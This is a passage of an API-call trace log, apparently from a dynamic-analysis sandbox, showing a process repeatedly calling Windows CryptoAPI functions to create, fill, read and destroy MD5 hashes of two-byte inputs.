	[0068.040] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.040] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.040] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.040] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.040] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.040] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.041] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.041] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.041] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.041] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.041] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.041] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.041] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.041] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.041] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.041] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.041] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.042] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.042] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.042] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.042] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.042] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.042] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.042] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.042] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.042] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.042] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.042] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.042] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.042] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.042] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.042] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.043] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.043] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.043] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.043] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.043] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.043] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.043] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.043] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.043] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.043] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.043] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.043] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.043] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.043] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.043] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.044] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.044] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.044] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.044] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.044] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.044] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.044] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.044] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.044] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.044] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.044] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.044] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.044] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.044] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.044] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.045] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.045] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.045] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.045] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.045] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.045] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.045] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.045] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.045] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.045] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.045] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.045] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.045] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.046] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.046] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.046] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.046] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.046] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.046] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.046] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.046] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.046] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.046] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.046] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.046] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.046] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.046] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.046] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.046] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.047] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.047] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.047] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.047] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.047] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.047] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.047] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.047] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.047] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.047] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.047] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.047] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.047] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.047] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.047] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.048] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.048] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.048] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.048] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.048] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.048] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.048] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.048] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.048] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.048] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.048] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.048] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.048] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.049] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.049] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.049] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.049] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.049] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.049] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.049] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.049] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.049] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.049] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.049] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.049] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.049] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.050] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.050] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.050] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.050] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.050] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.050] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.050] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.050] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.050] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.050] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.050] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.050] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.050] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.051] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.051] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.051] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.051] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.051] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.051] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.051] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.051] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.051] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.051] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.051] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.051] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.051] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.051] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.052] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.052] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.052] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.052] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.052] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.052] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.052] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.052] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.052] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.052] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.052] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.052] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.052] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.052] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.052] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.052] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.052] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.053] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.053] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.053] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.053] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.053] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.053] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.053] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.053] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.053] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.053] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.053] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.053] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.053] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.053] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.053] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.054] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.054] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.054] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.054] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.054] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.054] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.054] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.054] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.054] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.054] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.054] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.054] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.054] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.054] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.054] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0068.055] CryptGetHashParam (in: hHash=0x39d8c0, dwParam=0x2, pbData=0x193fc8, pdwDataLen=0x194068, dwFlags=0x0 | out: pbData=0x193fc8, pdwDataLen=0x194068) returned 1
	[0068.055] CryptDestroyHash (hHash=0x39d8c0) returned 1
	[0068.055] CryptCreateHash (in: hProv=0x39d420, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x193f90 | out: phHash=0x193f90) returned 1
	[0068.055] CryptHashData (hHash=0x39d8c0, pbData=0x193f98, dwDataLen=0x2, dwFlags=0x0) returned 1
